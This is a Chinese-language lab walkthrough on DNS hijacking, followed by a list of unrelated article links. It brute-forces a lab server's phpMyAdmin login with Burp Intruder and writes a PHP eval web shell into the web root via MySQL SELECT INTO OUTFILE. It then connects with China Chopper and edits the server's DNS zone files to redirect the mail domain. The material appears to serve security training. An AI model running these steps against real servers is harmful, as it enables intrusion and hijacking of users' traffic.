域名劫持原理与实践

devtools/2025/2/23 2:57:00/

了解域名及域名劫持

由于点分十进制的IP地址难于记忆,便出现了域名。由于网络传输中最终还是基于IP,所以必须通过一种机制将IP和域名一一对应起来,这便是DNS。全球总共有13台根域名服务器。

域名劫持是互联网攻击中常见的一种攻击方式,攻击者通过对DNS服务器进行攻击,或伪造DNS将目标站点解析到别的地址,用户访问该域名时被重定向到别的站点。在劫持的网络范围内拦截域名解析的请求,分析请求的域名,把审查范围以外的请求放行,否则直接返回假的IP地址或者什么也不做使得请求失去响应,其效果就是对特定的网址不能访问或访问的是假网址。

域名劫持的原理

域名劫持的基本原理是用户输入要访问的域名,请求DNS服务器遍历DNS数据库,查找该域名对应的IP地址,将其结果返回给用户。在DNS服务器遍历DNS数据库时,如果修改了该域名对应的IP,便实现了域名劫持。简单来说就是:本来一个域名对应一个IP,当这个域名对应到别的IP上就称为域名劫持。如果知道该域名的真实IP地址,则可以直接用此IP代替域名后进行访问。

实验中提供了一台邮件服务器,该服务器同时提供DNS服务,测试者通过入侵到该服务器,修改DNS服务中的正向解析与反向解析文件实现劫持。

首先我们打开 http://mail.test.com,看到一个邮件登录入口。

这里我们先使用burpsuite对该站点进行目录扫描。

1、配置好IE代理,截取数据包。

2、右键send to spider。

 

3、发现存在phpmyadmin。如果未出现请单击Filter将Hide empty folders(隐藏空文件夹)的勾去掉。

 

4、然后在地址栏添加phpmyadmin,如图:

5、接下来对phpmyadmin进行暴力破解,随便输入一个用户名和密码,比如此处我输入:用户名:root 密码:123,页面提示错误,然后查看burpsuite截获到的数据包。

6、找到Authorization,选中Basic后边的字符串,进行如下步骤:右键convert selection->base64->base64-decode。

7、可以看到刚才输入的用户名和密码。

8、右键send to intruder,在Positions选项卡下单击clear$。

 

9、选中root:123,单击add$。

10、切换到payloads选项卡下,设置payload type,在add处添加用户名,separator for position1 处添加一个冒号。

11、加载桌面上一个密码字典pass.txt,配置如下。

12、配置payload processing,如下图:

13、去掉payload encoding中的对号。

14、单击intruder下的start attack,一段时间后,发现了一个length和其他的不同。

15、双击打开,复制红色区域的字符串。

16、粘贴在decoder下,选择decode as base64,可以看到用户名密码为root:1234567890,登录。

17、接下来需要知道网站的路径是什么,一般网站搭建好后都会存在info.phpphpinfo.phpphp_info.php等测试文件,一一访问下,发现存在phpinfo.php文件,并得知网站目录为C:/xampp/xampp/htdocs。

 

18、此时需要通过phpmyadmin拿这个站点的shell,选择SQL,输入如下命令,点击执行:

use mysql;   //使用Mysql数据库

Create TABLE heetian (heetian1 text NOT NULL);   //创建heetian表,heetian1字段

Insert INTO heetian(heetian1) VALUES('<?php @eval($_POST[pass]);?>');   //在heetian表中的heetian1字段中添加值为一句话

select heetian1 from heetian into outfile 'C:/xampp/xampp/htdocs/test.php';   //使用Mysql中outfile函数将其导出到test.php

Drop TABLE IF EXISTS heetian;   //删除heetian表

返回结果如下:

 

 19、执行成功,访问下http://mail.test.com/test.php

 

 20、发现返回空白页面,接下来用中国菜刀连接一下。

 

 

 21、接下来我们需要对这台服务器进行域名劫持,将其劫持到一台IP为10.1.1.253的主机上,找到C:\WINDOWS\system32\dns\etc中的test.com.zone和10.1.1.zone。

 

 22、分别对这两个文件进行编辑,保存。

 

 

 23、右键“虚拟终端”。

 

 24、重启下dns服务,输入命令:net stop named和net start named,回车。

 25、刷新 http://mail.test.com,发现劫持成功。页面会显示为:“欢迎来到合天网安实验室!”

 


http://www.ppmy.cn/devtools/159115.html

相关文章

【Linux】进程间关系与守护进程

文章目录 1. 进程组2. 会话2.1 什么是会话2.2 如何创建会话2.3 守护进程 3. 作业控制 1. 进程组 我们运行下面的命令 sleep 10000 | sleep 20000 | sleep 30000然后查看进程的信息&#xff1a; 可以看到&#xff0c;其实每一个进程除了有进程PID、PPID之外&#xff0c;还属于…

【做一个微信小程序】校园地图页面实现

前言 上一个教程我们实现了小程序的一些的功能&#xff0c;有背景渐变色&#xff0c;发布功能有的呢&#xff0c;已支持图片上传功能&#xff0c;表情和投票功能开发中&#xff08;请期待&#xff09;。下面是一个更高级的微信小程序实现&#xff0c;包含以下功能&#xff1a;…

6.appender

文章目录 一、前言二、源码解析AppenderUnsynchronizedAppenderBaseOutputStreamAppenderConsoleAppenderFileAppenderRollingFileAppenderFileNamePattern 三、总结 一、前言 前一篇文章介绍了appender、conversionRule、root和logger节点的解析, 为的是为本篇详细介绍它们的…

Spring 项目接入 DeepSeek,分享两种超简单的方式!

⭐自荐一个非常不错的开源 Java 面试指南&#xff1a;JavaGuide &#xff08;Github 收获148k Star&#xff09;。这是我在大三开始准备秋招面试的时候创建的&#xff0c;目前已经持续维护 6 年多了&#xff0c;累计提交了 5600 commit &#xff0c;共有 550 多位贡献者共同参与…

ubuntu和windows编译godot

官方文档-编译教程 https://docs.godotengine.org/zh-cn/4.x/contributing/development/compiling/compiling_for_windows.html源码地址 本示例使用4.3-stable版本 https://github.com/godotengine/godot/archive/refs/heads/master.zippython; nasm; mingw下载安装包地址 h…

DeepSeek本地化部署【window下安装】【linux下安装】

一、window 本地安装指导 1.1、下载window安装包 https://ollama.com/download/OllamaSetup.exe 1.2、点击下载好的安装包进行安装 检测安装是否成功&#xff1a; C:\Users\admin>ollama -v ollama version is 0.5.7有上面的输出&#xff0c;则证明已经安装成功。 配置…

一文深入了解DeepSeek-R1:模型架构

本文深入探讨了 DeepSeek-R1 模型架构。让我们从输入到输出追踪 DeepSeek-R1 模型&#xff0c;以找到架构中的新发展和关键部分。DeepSeek-R1 基于 DeepSeek-V3-Base 模型架构。本文旨在涵盖其设计的所有重要方面。 &#x1f4dd; 1. 输入上下文长度 DeepSeek-R1的输入上下文长…

qt的QMainWindow保存窗口和恢复窗口状态

保存窗口状态 QSettings settings("MyCompany", "MyApp"); // 指定存储的应用信息 settings.setValue("mainWindowState", saveState());saveState() 返回一个 QByteArray&#xff0c;包含 所有停靠窗口和工具栏的状态。QSettings 用于存储数据…